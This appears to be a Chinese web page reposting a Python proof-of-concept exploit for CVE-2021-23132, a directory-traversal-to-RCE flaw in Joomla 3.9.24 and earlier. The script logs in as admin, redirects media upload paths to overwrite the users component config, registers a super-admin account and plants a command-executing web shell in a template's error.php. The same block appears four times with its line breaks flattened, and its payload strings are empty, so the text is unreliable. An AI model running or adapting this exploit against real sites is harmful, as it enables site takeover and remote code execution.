# Joomla CMS com media從目錄遍歷到RCE(CVE-2021-23132)
Joomla core<= 3.9.24 ==POC:==
python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234 -rce 1 -cmd ls
[[檔案:109748558-a898c200-7c0b-11eb-865f-ed903f23b4d9.png]]
#!/usr/bin/python3 import sys import requests import re import argparse #proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} proxies={} try: import lxml.html except ImportError: print("module 'lxml' doesn't exist, type: pip3 install lxml") exit(0) def writeConfigFile(filename): print("[+] Creating config.xml ") content="""""" f = open(filename, "w") f.write(content) f.close def extract_token(resp): match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) if match is None: print("[-] Cannot find CSRF token!\n") return None return match.group(1) def try_admin_login(sess, url, uname, upass): admin_url = url + '/administrator/index.php' print('[+] Getting token for Manager login') resp = sess.get(admin_url, verify=True) token = extract_token(resp) if not token: return False print('[+] Logging in to Admin') data = { 'username': uname, 'passwd': upass, 'task': 'login', token: '1' } resp = sess.post(admin_url, data=data, verify=True) if 'task=profile.edit' not in resp.text: print('[!] Admin Login Failure!') return None print('[+] Admin Login Successfully!') return True def check_admin(sess, url): url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path=' resp = sess.get(url_check, verify=True) token = extract_token(resp) if not token: print ("[-] You are not admin account!") sys.exit() return token def set_media_options(url, sess, dir, token): print("[+] Setting media options") newdata = { 'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS', 'jform[upload_maxsize]': 10, 'jform[file_path]': dir, 'jform[image_path]': dir, 'jform[restrict_uploads]': 0, 'jform[check_mime]': 0, 'jform[image_extensions]': 'bmp,gif,jpg,png', 'jform[ignore_extensions]': '', 'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip', 'jform[upload_mime_illegal]': 'text/html', 'id': 13, 'component': 'com_media', 'task': 'config.save.component.apply', token: 1 } newdata['task'] = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'jform[upload_extensions]' not in resp.text: print('[!] Maybe failed to set media options...') return False return True def traversal(sess, url): shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder=' resp = sess.get(shell_url, verify=True) page = resp.text.encode('utf-8') html = lxml.html.fromstring(page) files = html.xpath("//input[@name='rm[]']/@value") for file in files: print (file) pass def removeFile(sess, url, filename, token): remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename msg = sess.get(remove_path, verify=True,proxies=proxies) page = msg.text.encode('utf-8') html = lxml.html.fromstring(page) file_remove = html.xpath("//div[@class='alert-message']/text()[1]") print ('\n' + '[Result]: ' + file_remove[-1]) def upload_file(sess, url, file, token): print("[+] Uploading config.xml") filename = "config.xml" url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder=' files = { 'Filedata[]': (filename, file, 'text/xml') } data = dict(folder="") resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies) if filename not in resp.text: print("[!] Failed to upload file!") return False print("[+] Exploit Successfully!") return True def set_users_option(sess, url, token): newdata = { 'jform[allowUserRegistration]': 1, 'jform[new_usertype]': 8, 'jform[guest_usergroup]': 8, 'jform[sendpassword] ': 0, 'jform[useractivation]': 0, 'jform[mail_to_admin]': 0, 'id': 25, 'component': 'com_users', 'task': 'config.save.component.apply', token: 1 } newdata['task'] = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'Configuration saved.' not in resp.text: print('[!] Could not save data. Error: Save not permitted.') return False return True def create_superuser(sess, url, username, password, email): resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True) token = extract_token(resp) data = { # Form data 'jform[name]': username, 'jform[username]': username, 'jform[password1]': password, 'jform[password2]': password, 'jform[email1]': email, 'jform[email2]': email, 'jform[option]': 'com_users', 'jform[task]': 'registration.register', token: '1', } url_post = "/index.php/component/users/?task=registration.register&Itemid=101" sess.post(url + url_post, data=data, verify=True) sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True) newsess = requests.Session() if try_admin_login(newsess, url, username, password): print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password) return newsess else: print ("[-] Sorry,exploit fail!") return None def setOption(url, sess, usuper, psuper, esuper, token): print ("Superadmin Creation:") # folder contains config.xml dir = './administrator/components/com_users' filename = 'config.xml' set_media_options(url, sess, dir, token) traversal(sess, url) removeFile(sess, url, filename, token) f = open("config.xml", "rb") upload_file(sess, url, f, token) set_users_option(sess, url, token) def rce(sess, url, cmd, token): filename = 'error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jform[source]': "", 'task': 'template.apply', token: '1', 'jform[extension_id]': '506', 'jform[filename]': '/' + filename } sess.post(shlink, data=shdata_up,proxies=proxies) path2shell = '/templates/protostar/error.php?cmd=' + cmd # print '[+] Shell is ready to use: ' + str(path2shell) print ('[+] Checking:') shreq = sess.get(url + path2shell,proxies=proxies) shresp = shreq.text print (shresp + '[+] Shell link: \n' + (url + path2shell)) print ('[+] Module finished.') def main(): # Construct the argument parser ap = argparse.ArgumentParser() # Add the arguments to the parser ap.add_argument("-url", "--url", required=True, help=" URL for your Joomla target") ap.add_argument("-u", "--username", required=True, help="username") ap.add_argument("-p", "--password", required=True, help="password") ap.add_argument("-dir", "--directory", required=False, default='./', help="directory") ap.add_argument("-rm", "--remove", required=False, help="filename") ap.add_argument("-rce", "--rce", required=False, default="0", help="RCE's mode is 1 to turn on") ap.add_argument("-cmd", "--command", default="whoami", help="command") ap.add_argument("-usuper", "--usernamesuper", default="hk", help="Super's username") ap.add_argument("-psuper", "--passwordsuper", default="12345678", help="Super's password") ap.add_argument("-esuper", "--emailsuper", default="hk@hk.com", help="Super's Email") args = vars(ap.parse_args()) # target url = format(str(args['url'])) print ('[+] Your target: ' + url) # username uname = format(str(args['username'])) # password upass = format(str(args['password'])) # directory dir = format(str(args['directory'])) # init sess = requests.Session() # admin login if (try_admin_login(sess, url, uname, upass) == None): sys.exit() # get token token = check_admin(sess, url) # set options set_media_options(url, sess, dir, token) print ("Directory mode:") traversal(sess, url) if ap.parse_args().remove: print ("\nRemove file mode: ") filename = format(str(args['remove'])) removeFile(sess, url, filename, token) # check option superadmin creation # username of superadmin usuper = format(str(args['usernamesuper'])) # password of superadmin psuper = format(str(args['passwordsuper'])) # email of superadmin esuper = format(str(args['emailsuper'])) # RCE mode if (format(str(args['rce'])) == "1"): print ("\nRCE mode:\n") # command filename="config.xml" writeConfigFile(filename) command = format(str(args['command'])) setOption(url, sess, usuper, psuper, esuper, token) # superadmin creation newsess = create_superuser(sess, url, usuper, psuper, esuper) if newsess != None : # get token newtoken = check_admin(newsess, url) rce(newsess, url, command, newtoken) if __name__ == "__main__": sys.exit(main())
Joomla core<= 3.9.24 ==POC:==
python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234 -rce 1 -cmd ls
[[檔案:109748558-a898c200-7c0b-11eb-865f-ed903f23b4d9.png]]
#!/usr/bin/python3 import sys import requests import re import argparse #proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} proxies={} try: import lxml.html except ImportError: print("module 'lxml' doesn't exist, type: pip3 install lxml") exit(0) def writeConfigFile(filename): print("[+] Creating config.xml ") content="""""" f = open(filename, "w") f.write(content) f.close def extract_token(resp): match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) if match is None: print("[-] Cannot find CSRF token!\n") return None return match.group(1) def try_admin_login(sess, url, uname, upass): admin_url = url + '/administrator/index.php' print('[+] Getting token for Manager login') resp = sess.get(admin_url, verify=True) token = extract_token(resp) if not token: return False print('[+] Logging in to Admin') data = { 'username': uname, 'passwd': upass, 'task': 'login', token: '1' } resp = sess.post(admin_url, data=data, verify=True) if 'task=profile.edit' not in resp.text: print('[!] Admin Login Failure!') return None print('[+] Admin Login Successfully!') return True def check_admin(sess, url): url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path=' resp = sess.get(url_check, verify=True) token = extract_token(resp) if not token: print ("[-] You are not admin account!") sys.exit() return token def set_media_options(url, sess, dir, token): print("[+] Setting media options") newdata = { 'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS', 'jform[upload_maxsize]': 10, 'jform[file_path]': dir, 'jform[image_path]': dir, 'jform[restrict_uploads]': 0, 'jform[check_mime]': 0, 'jform[image_extensions]': 'bmp,gif,jpg,png', 'jform[ignore_extensions]': '', 'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip', 'jform[upload_mime_illegal]': 'text/html', 'id': 13, 'component': 'com_media', 'task': 'config.save.component.apply', token: 1 } newdata['task'] = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'jform[upload_extensions]' not in resp.text: print('[!] Maybe failed to set media options...') return False return True def traversal(sess, url): shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder=' resp = sess.get(shell_url, verify=True) page = resp.text.encode('utf-8') html = lxml.html.fromstring(page) files = html.xpath("//input[@name='rm[]']/@value") for file in files: print (file) pass def removeFile(sess, url, filename, token): remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename msg = sess.get(remove_path, verify=True,proxies=proxies) page = msg.text.encode('utf-8') html = lxml.html.fromstring(page) file_remove = html.xpath("//div[@class='alert-message']/text()[1]") print ('\n' + '[Result]: ' + file_remove[-1]) def upload_file(sess, url, file, token): print("[+] Uploading config.xml") filename = "config.xml" url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder=' files = { 'Filedata[]': (filename, file, 'text/xml') } data = dict(folder="") resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies) if filename not in resp.text: print("[!] Failed to upload file!") return False print("[+] Exploit Successfully!") return True def set_users_option(sess, url, token): newdata = { 'jform[allowUserRegistration]': 1, 'jform[new_usertype]': 8, 'jform[guest_usergroup]': 8, 'jform[sendpassword] ': 0, 'jform[useractivation]': 0, 'jform[mail_to_admin]': 0, 'id': 25, 'component': 'com_users', 'task': 'config.save.component.apply', token: 1 } newdata['task'] = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'Configuration saved.' not in resp.text: print('[!] Could not save data. Error: Save not permitted.') return False return True def create_superuser(sess, url, username, password, email): resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True) token = extract_token(resp) data = { # Form data 'jform[name]': username, 'jform[username]': username, 'jform[password1]': password, 'jform[password2]': password, 'jform[email1]': email, 'jform[email2]': email, 'jform[option]': 'com_users', 'jform[task]': 'registration.register', token: '1', } url_post = "/index.php/component/users/?task=registration.register&Itemid=101" sess.post(url + url_post, data=data, verify=True) sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True) newsess = requests.Session() if try_admin_login(newsess, url, username, password): print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password) return newsess else: print ("[-] Sorry,exploit fail!") return None def setOption(url, sess, usuper, psuper, esuper, token): print ("Superadmin Creation:") # folder contains config.xml dir = './administrator/components/com_users' filename = 'config.xml' set_media_options(url, sess, dir, token) traversal(sess, url) removeFile(sess, url, filename, token) f = open("config.xml", "rb") upload_file(sess, url, f, token) set_users_option(sess, url, token) def rce(sess, url, cmd, token): filename = 'error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jform[source]': "", 'task': 'template.apply', token: '1', 'jform[extension_id]': '506', 'jform[filename]': '/' + filename } sess.post(shlink, data=shdata_up,proxies=proxies) path2shell = '/templates/protostar/error.php?cmd=' + cmd # print '[+] Shell is ready to use: ' + str(path2shell) print ('[+] Checking:') shreq = sess.get(url + path2shell,proxies=proxies) shresp = shreq.text print (shresp + '[+] Shell link: \n' + (url + path2shell)) print ('[+] Module finished.') def main(): # Construct the argument parser ap = argparse.ArgumentParser() # Add the arguments to the parser ap.add_argument("-url", "--url", required=True, help=" URL for your Joomla target") ap.add_argument("-u", "--username", required=True, help="username") ap.add_argument("-p", "--password", required=True, help="password") ap.add_argument("-dir", "--directory", required=False, default='./', help="directory") ap.add_argument("-rm", "--remove", required=False, help="filename") ap.add_argument("-rce", "--rce", required=False, default="0", help="RCE's mode is 1 to turn on") ap.add_argument("-cmd", "--command", default="whoami", help="command") ap.add_argument("-usuper", "--usernamesuper", default="hk", help="Super's username") ap.add_argument("-psuper", "--passwordsuper", default="12345678", help="Super's password") ap.add_argument("-esuper", "--emailsuper", default="hk@hk.com", help="Super's Email") args = vars(ap.parse_args()) # target url = format(str(args['url'])) print ('[+] Your target: ' + url) # username uname = format(str(args['username'])) # password upass = format(str(args['password'])) # directory dir = format(str(args['directory'])) # init sess = requests.Session() # admin login if (try_admin_login(sess, url, uname, upass) == None): sys.exit() # get token token = check_admin(sess, url) # set options set_media_options(url, sess, dir, token) print ("Directory mode:") traversal(sess, url) if ap.parse_args().remove: print ("\nRemove file mode: ") filename = format(str(args['remove'])) removeFile(sess, url, filename, token) # check option superadmin creation # username of superadmin usuper = format(str(args['usernamesuper'])) # password of superadmin psuper = format(str(args['passwordsuper'])) # email of superadmin esuper = format(str(args['emailsuper'])) # RCE mode if (format(str(args['rce'])) == "1"): print ("\nRCE mode:\n") # command filename="config.xml" writeConfigFile(filename) command = format(str(args['command'])) setOption(url, sess, usuper, psuper, esuper, token) # superadmin creation newsess = create_superuser(sess, url, usuper, psuper, esuper) if newsess != None : # get token newtoken = check_admin(newsess, url) rce(newsess, url, command, newtoken) if __name__ == "__main__": sys.exit(main())
Joomla core<= 3.9.24 ==POC:==
python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234 -rce 1 -cmd ls
[[檔案:109748558-a898c200-7c0b-11eb-865f-ed903f23b4d9.png]]
#!/usr/bin/python3 import sys import requests import re import argparse #proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} proxies={} try: import lxml.html except ImportError: print("module 'lxml' doesn't exist, type: pip3 install lxml") exit(0) def writeConfigFile(filename): print("[+] Creating config.xml ") content="""""" f = open(filename, "w") f.write(content) f.close def extract_token(resp): match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) if match is None: print("[-] Cannot find CSRF token!\n") return None return match.group(1) def try_admin_login(sess, url, uname, upass): admin_url = url + '/administrator/index.php' print('[+] Getting token for Manager login') resp = sess.get(admin_url, verify=True) token = extract_token(resp) if not token: return False print('[+] Logging in to Admin') data = { 'username': uname, 'passwd': upass, 'task': 'login', token: '1' } resp = sess.post(admin_url, data=data, verify=True) if 'task=profile.edit' not in resp.text: print('[!] Admin Login Failure!') return None print('[+] Admin Login Successfully!') return True def check_admin(sess, url): url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path=' resp = sess.get(url_check, verify=True) token = extract_token(resp) if not token: print ("[-] You are not admin account!") sys.exit() return token def set_media_options(url, sess, dir, token): print("[+] Setting media options") newdata = { 'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS', 'jform[upload_maxsize]': 10, 'jform[file_path]': dir, 'jform[image_path]': dir, 'jform[restrict_uploads]': 0, 'jform[check_mime]': 0, 'jform[image_extensions]': 'bmp,gif,jpg,png', 'jform[ignore_extensions]': '', 'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip', 'jform[upload_mime_illegal]': 'text/html', 'id': 13, 'component': 'com_media', 'task': 'config.save.component.apply', token: 1 } newdata['task'] = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'jform[upload_extensions]' not in resp.text: print('[!] Maybe failed to set media options...') return False return True def traversal(sess, url): shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder=' resp = sess.get(shell_url, verify=True) page = resp.text.encode('utf-8') html = lxml.html.fromstring(page) files = html.xpath("//input[@name='rm[]']/@value") for file in files: print (file) pass def removeFile(sess, url, filename, token): remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename msg = sess.get(remove_path, verify=True,proxies=proxies) page = msg.text.encode('utf-8') html = lxml.html.fromstring(page) file_remove = html.xpath("//div[@class='alert-message']/text()[1]") print ('\n' + '[Result]: ' + file_remove[-1]) def upload_file(sess, url, file, token): print("[+] Uploading config.xml") filename = "config.xml" url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder=' files = { 'Filedata[]': (filename, file, 'text/xml') } data = dict(folder="") resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies) if filename not in resp.text: print("[!] Failed to upload file!") return False print("[+] Exploit Successfully!") return True def set_users_option(sess, url, token): newdata = { 'jform[allowUserRegistration]': 1, 'jform[new_usertype]': 8, 'jform[guest_usergroup]': 8, 'jform[sendpassword] ': 0, 'jform[useractivation]': 0, 'jform[mail_to_admin]': 0, 'id': 25, 'component': 'com_users', 'task': 'config.save.component.apply', token: 1 } newdata['task'] = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'Configuration saved.' not in resp.text: print('[!] Could not save data. Error: Save not permitted.') return False return True def create_superuser(sess, url, username, password, email): resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True) token = extract_token(resp) data = { # Form data 'jform[name]': username, 'jform[username]': username, 'jform[password1]': password, 'jform[password2]': password, 'jform[email1]': email, 'jform[email2]': email, 'jform[option]': 'com_users', 'jform[task]': 'registration.register', token: '1', } url_post = "/index.php/component/users/?task=registration.register&Itemid=101" sess.post(url + url_post, data=data, verify=True) sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True) newsess = requests.Session() if try_admin_login(newsess, url, username, password): print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password) return newsess else: print ("[-] Sorry,exploit fail!") return None def setOption(url, sess, usuper, psuper, esuper, token): print ("Superadmin Creation:") # folder contains config.xml dir = './administrator/components/com_users' filename = 'config.xml' set_media_options(url, sess, dir, token) traversal(sess, url) removeFile(sess, url, filename, token) f = open("config.xml", "rb") upload_file(sess, url, f, token) set_users_option(sess, url, token) def rce(sess, url, cmd, token): filename = 'error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jform[source]': "", 'task': 'template.apply', token: '1', 'jform[extension_id]': '506', 'jform[filename]': '/' + filename } sess.post(shlink, data=shdata_up,proxies=proxies) path2shell = '/templates/protostar/error.php?cmd=' + cmd # print '[+] Shell is ready to use: ' + str(path2shell) print ('[+] Checking:') shreq = sess.get(url + path2shell,proxies=proxies) shresp = shreq.text print (shresp + '[+] Shell link: \n' + (url + path2shell)) print ('[+] Module finished.') def main(): # Construct the argument parser ap = argparse.ArgumentParser() # Add the arguments to the parser ap.add_argument("-url", "--url", required=True, help=" URL for your Joomla target") ap.add_argument("-u", "--username", required=True, help="username") ap.add_argument("-p", "--password", required=True, help="password") ap.add_argument("-dir", "--directory", required=False, default='./', help="directory") ap.add_argument("-rm", "--remove", required=False, help="filename") ap.add_argument("-rce", "--rce", required=False, default="0", help="RCE's mode is 1 to turn on") ap.add_argument("-cmd", "--command", default="whoami", help="command") ap.add_argument("-usuper", "--usernamesuper", default="hk", help="Super's username") ap.add_argument("-psuper", "--passwordsuper", default="12345678", help="Super's password") ap.add_argument("-esuper", "--emailsuper", default="hk@hk.com", help="Super's Email") args = vars(ap.parse_args()) # target url = format(str(args['url'])) print ('[+] Your target: ' + url) # username uname = format(str(args['username'])) # password upass = format(str(args['password'])) # directory dir = format(str(args['directory'])) # init sess = requests.Session() # admin login if (try_admin_login(sess, url, uname, upass) == None): sys.exit() # get token token = check_admin(sess, url) # set options set_media_options(url, sess, dir, token) print ("Directory mode:") traversal(sess, url) if ap.parse_args().remove: print ("\nRemove file mode: ") filename = format(str(args['remove'])) removeFile(sess, url, filename, token) # check option superadmin creation # username of superadmin usuper = format(str(args['usernamesuper'])) # password of superadmin psuper = format(str(args['passwordsuper'])) # email of superadmin esuper = format(str(args['emailsuper'])) # RCE mode if (format(str(args['rce'])) == "1"): print ("\nRCE mode:\n") # command filename="config.xml" writeConfigFile(filename) command = format(str(args['command'])) setOption(url, sess, usuper, psuper, esuper, token) # superadmin creation newsess = create_superuser(sess, url, usuper, psuper, esuper) if newsess != None : # get token newtoken = check_admin(newsess, url) rce(newsess, url, command, newtoken) if __name__ == "__main__": sys.exit(main())
Joomla core<= 3.9.24 ==POC:==
python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234 -rce 1 -cmd ls
[[File:109748558-a898c200-7c0b-11eb-865f-ed903f23b4d9.png]]
#!/usr/bin/python3 import sys import requests import re import argparse #proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} proxies={} try: import lxml.html except ImportError: print("module 'lxml' doesn't exist, type: pip3 install lxml") exit(0) def writeConfigFile(filename): print("[+] Creating config.xml ") content="""""" f = open(filename, "w") f.write(content) f.close def extract_token(resp): match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) if match is None: print("[-] Cannot find CSRF token!\n") return None return match.group(1) def try_admin_login(sess, url, uname, upass): admin_url = url + '/administrator/index.php' print('[+] Getting token for Manager login') resp = sess.get(admin_url, verify=True) token = extract_token(resp) if not token: return False print('[+] Logging in to Admin') data = { 'username': uname, 'passwd': upass, 'task': 'login', token: '1' } resp = sess.post(admin_url, data=data, verify=True) if 'task=profile.edit' not in resp.text: print('[!] Admin Login Failure!') return None print('[+] Admin Login Successfully!') return True def check_admin(sess, url): url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path=' resp = sess.get(url_check, verify=True) token = extract_token(resp) if not token: print ("[-] You are not admin account!") sys.exit() return token def set_media_options(url, sess, dir, token): print("[+] Setting media options") newdata = { 'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS', 'jform[upload_maxsize]': 10, 'jform[file_path]': dir, 'jform[image_path]': dir, 'jform[restrict_uploads]': 0, 'jform[check_mime]': 0, 'jform[image_extensions]': 'bmp,gif,jpg,png', 'jform[ignore_extensions]': '', 'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip', 'jform[upload_mime_illegal]': 'text/html', 'id': 13, 'component': 'com_media', 'task': 'config.save.component.apply', token: 1 } newdata['task'] = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'jform[upload_extensions]' not in resp.text: print('[!] Maybe failed to set media options...') return False return True def traversal(sess, url): shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder=' resp = sess.get(shell_url, verify=True) page = resp.text.encode('utf-8') html = lxml.html.fromstring(page) files = html.xpath("//input[@name='rm[]']/@value") for file in files: print (file) pass def removeFile(sess, url, filename, token): remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename msg = sess.get(remove_path, verify=True,proxies=proxies) page = msg.text.encode('utf-8') html = lxml.html.fromstring(page) file_remove = html.xpath("//div[@class='alert-message']/text()[1]") print ('\n' + '[Result]: ' + file_remove[-1]) def upload_file(sess, url, file, token): print("[+] Uploading config.xml") filename = "config.xml" url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder=' files = { 'Filedata[]': (filename, file, 'text/xml') } data = dict(folder="") resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies) if filename not in resp.text: print("[!] Failed to upload file!") return False print("[+] Exploit Successfully!") return True def set_users_option(sess, url, token): newdata = { 'jform[allowUserRegistration]': 1, 'jform[new_usertype]': 8, 'jform[guest_usergroup]': 8, 'jform[sendpassword] ': 0, 'jform[useractivation]': 0, 'jform[mail_to_admin]': 0, 'id': 25, 'component': 'com_users', 'task': 'config.save.component.apply', token: 1 } newdata['task'] = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'Configuration saved.' not in resp.text: print('[!] Could not save data. Error: Save not permitted.') return False return True def create_superuser(sess, url, username, password, email): resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True) token = extract_token(resp) data = { # Form data 'jform[name]': username, 'jform[username]': username, 'jform[password1]': password, 'jform[password2]': password, 'jform[email1]': email, 'jform[email2]': email, 'jform[option]': 'com_users', 'jform[task]': 'registration.register', token: '1', } url_post = "/index.php/component/users/?task=registration.register&Itemid=101" sess.post(url + url_post, data=data, verify=True) sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True) newsess = requests.Session() if try_admin_login(newsess, url, username, password): print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password) return newsess else: print ("[-] Sorry,exploit fail!") return None def setOption(url, sess, usuper, psuper, esuper, token): print ("Superadmin Creation:") # folder contains config.xml dir = './administrator/components/com_users' filename = 'config.xml' set_media_options(url, sess, dir, token) traversal(sess, url) removeFile(sess, url, filename, token) f = open("config.xml", "rb") upload_file(sess, url, f, token) set_users_option(sess, url, token) def rce(sess, url, cmd, token): filename = 'error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jform[source]': "", 'task': 'template.apply', token: '1', 'jform[extension_id]': '506', 'jform[filename]': '/' + filename } sess.post(shlink, data=shdata_up,proxies=proxies) path2shell = '/templates/protostar/error.php?cmd=' + cmd # print '[+] Shell is ready to use: ' + str(path2shell) print ('[+] Checking:') shreq = sess.get(url + path2shell,proxies=proxies) shresp = shreq.text print (shresp + '[+] Shell link: \n' + (url + path2shell)) print ('[+] Module finished.') def main(): # Construct the argument parser ap = argparse.ArgumentParser() # Add the arguments to the parser ap.add_argument("-url", "--url", required=True, help=" URL for your Joomla target") ap.add_argument("-u", "--username", required=True, help="username") ap.add_argument("-p", "--password", required=True, help="password") ap.add_argument("-dir", "--directory", required=False, default='./', help="directory") ap.add_argument("-rm", "--remove", required=False, help="filename") ap.add_argument("-rce", "--rce", required=False, default="0", help="RCE's mode is 1 to turn on") ap.add_argument("-cmd", "--command", default="whoami", help="command") ap.add_argument("-usuper", "--usernamesuper", default="hk", help="Super's username") ap.add_argument("-psuper", "--passwordsuper", default="12345678", help="Super's password") ap.add_argument("-esuper", "--emailsuper", default="hk@hk.com", help="Super's Email") args = vars(ap.parse_args()) # target url = format(str(args['url'])) print ('[+] Your target: ' + url) # username uname = format(str(args['username'])) # password upass = format(str(args['password'])) # directory dir = format(str(args['directory'])) # init sess = requests.Session() # admin login if (try_admin_login(sess, url, uname, upass) == None): sys.exit() # get token token = check_admin(sess, url) # set options set_media_options(url, sess, dir, token) print ("Directory mode:") traversal(sess, url) if ap.parse_args().remove: print ("\nRemove file mode: ") filename = format(str(args['remove'])) removeFile(sess, url, filename, token) # check option superadmin creation # username of superadmin usuper = format(str(args['usernamesuper'])) # password of superadmin psuper = format(str(args['passwordsuper'])) # email of superadmin esuper = format(str(args['emailsuper'])) # RCE mode if (format(str(args['rce'])) == "1"): print ("\nRCE mode:\n") # command filename="config.xml" writeConfigFile(filename) command = format(str(args['command'])) setOption(url, sess, usuper, psuper, esuper, token) # superadmin creation newsess = create_superuser(sess, url, usuper, psuper, esuper) if newsess != None : # get token newtoken = check_admin(newsess, url) rce(newsess, url, command, newtoken) if __name__ == "__main__": sys.exit(main())
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后查看评论内容